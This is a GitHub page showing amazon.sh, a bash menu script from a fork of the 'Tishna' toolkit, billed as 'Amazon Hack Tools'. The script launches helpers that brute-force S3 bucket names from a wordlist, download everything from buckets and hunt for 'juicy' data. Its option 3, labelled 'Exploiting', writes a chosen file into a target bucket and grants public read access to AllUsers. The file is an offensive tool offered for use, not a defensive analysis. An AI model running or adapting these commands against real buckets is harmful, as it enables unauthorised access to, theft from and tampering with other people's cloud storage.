forked from marciopocebon/Tishna
-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathamazon.sh
91 lines (80 loc) · 2.19 KB
/
amazon.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#!/bin/bash
red="\e[0;31m"
new="\e[0;36m"
green="\e[0;32m"
off="\e[0m"
clear
function banner() {
echo "
Amazon Hack Tools
version 1.0a
Coder - Haroon Awan
Official - http://www.instagram.com/Hackeruniversee
Facebook - http://www.mubassirkamdar.com
"
}
banner
echo "";
echo -e "$red [$green+$red] 1:$off S3 Bucket Finder ";
echo -e "$red [$green+$red] 2:$off S3 No-Request for Buckets ";
echo -e "$red [$green+$red] 3:$off S3 Move file into Buckets ";
echo -e "$red [$green+$red] 4:$off S3 Download everything ";
echo -e "$red [$green+$red] 5:$off S3 Check Bucket Disk Size ";
echo -e "$red [$green+$red] 6:$off EC2 Bucket juicy data ";
echo "";
echo -ne "$red [$green+$red] Select An Option:$off: " ;
read Option
echo "";
if [ $Option -eq "1" ]
then
cd bucket_finder
./bucket_finder.rb -h
echo -ne "$red [$green+$red] $off Enter Region: ";
read Region
echo -ne "$red [$green+$red] $off Enter wordlist: ";
read wordlist
ruby bucket_finder.rb -r $Region $wordlist
fi
if [ $Option -eq "2" ]
then
cd bucket_finder
./no-request.sh
fi
if [ $Option -eq "3" ]
then
cd bucket_finder
echo -ne "$red [$green+$red] $off Enter file to upload : ";
read w
echo -ne "$red [$green+$red] $off Enter Bucket Name : ";
read b
echo -e "$red [$green+$red] $off Exploiting ";
echo "";
echo -ne "$red [$green+$red] $off Exploit 1 : ";
echo "aws s3 local_file $w s3://bucket_here/remote.txt --acl authenticated-read"
aws s3 cp $w s3://$b/remote.txt --acl authenticated-read
echo "";
echo -ne "$red [$green+$red] $off Exploit 2 : ";
echo "aws s3 cp local_file s3://bucket_here --grants read=uri=http://acs.amazonaws.com/groups/global/AllUsers"
aws s3 cp $w s3://$b --grants read=uri=http://acs.amazonaws.com/groups/global/AllUsers
echo "";
echo -ne "$red [$green+$red] $off Exploit 3 : ";
echo "aws mv local_file s3://bucket_here"
aws s3 mv $w s3://$b
echo "";
fi
if [ $Option -eq "4" ]
then
cd bucket_finder
./download_everything.sh
fi
if [ $Option -eq "5" ]
then
cd bucket_finder
./disk-size.sh
fi
if [ $Option -eq "6" ]
then
cd bucket_finder
./juicy.sh
fi